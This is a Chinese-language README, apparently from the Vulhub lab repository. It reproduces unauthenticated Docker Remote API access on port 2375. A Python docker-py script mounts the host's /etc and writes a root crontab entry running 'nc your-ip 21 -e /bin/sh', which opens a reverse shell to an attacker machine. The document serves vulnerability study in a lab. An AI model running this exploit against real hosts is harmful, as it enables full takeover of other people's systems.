Files
vulhub/docker/unauthorized-rce/README.zh-cn.md
Aaron 63285f61aa
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
first commit
2025-09-06 16:08:15 +08:00

47 lines
2.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# Docker Remote API 未授权访问导致远程代码执行
Docker是一个提供容器化软件打包和交付的平台即服务PaaS解决方案。Docker守护进程dockerd提供了一个REST API允许远程管理Docker容器、镜像和其他资源。
当Docker守护进程被配置为监听网络端口通常是TCP端口2375且未启用适当的身份验证机制时攻击者可以未经授权访问Docker API。利用此漏洞攻击者可以在主机系统上创建、修改和执行容器可能导致远程代码执行、数据窃取以及完全控制主机系统。
- <https://docs.docker.com/engine/security/protect-access/>
- <https://tttang.com/archive/357/>
## 环境搭建
执行以下命令启动存在漏洞的Docker环境
```
docker compose build
docker compose up -d
```
环境启动后Docker守护进程将在2375端口上监听且不需要任何身份验证。
## 漏洞复现
这个漏洞可以使用Python的docker-py库进行利用。攻击方法是创建一个新容器并挂载主机的/etc目录这样攻击者就能修改系统关键文件。在这个示例中我们将通过添加一个恶意的crontab条目来创建反弹shell以演示漏洞的危害。
首先安装所需的Python库
```
pip install docker
```
然后创建并运行以下Python脚本来利用漏洞
```python
import docker
client = docker.DockerClient(base_url='http://your-ip:2375/')
data = client.containers.run('alpine:latest', r'''sh -c "echo '* * * * * /usr/bin/nc your-ip 21 -e /bin/sh' >> /tmp/etc/crontabs/root" ''', remove=True, volumes={'/etc': {'bind': '/tmp/etc', 'mode': 'rw'}})
```
这个脚本创建了一个容器,挂载主机的/etc目录并向root用户的crontab添加一个反弹shell命令。在一分钟内cron守护进程将执行该命令建立一个反弹shell连接到攻击者的机器。
成功利用漏洞后可以收到反弹shell连接
![反弹Shell利用](1.png)
这个漏洞展示了正确保护Docker守护进程访问和为远程API端点实施身份验证机制的重要性。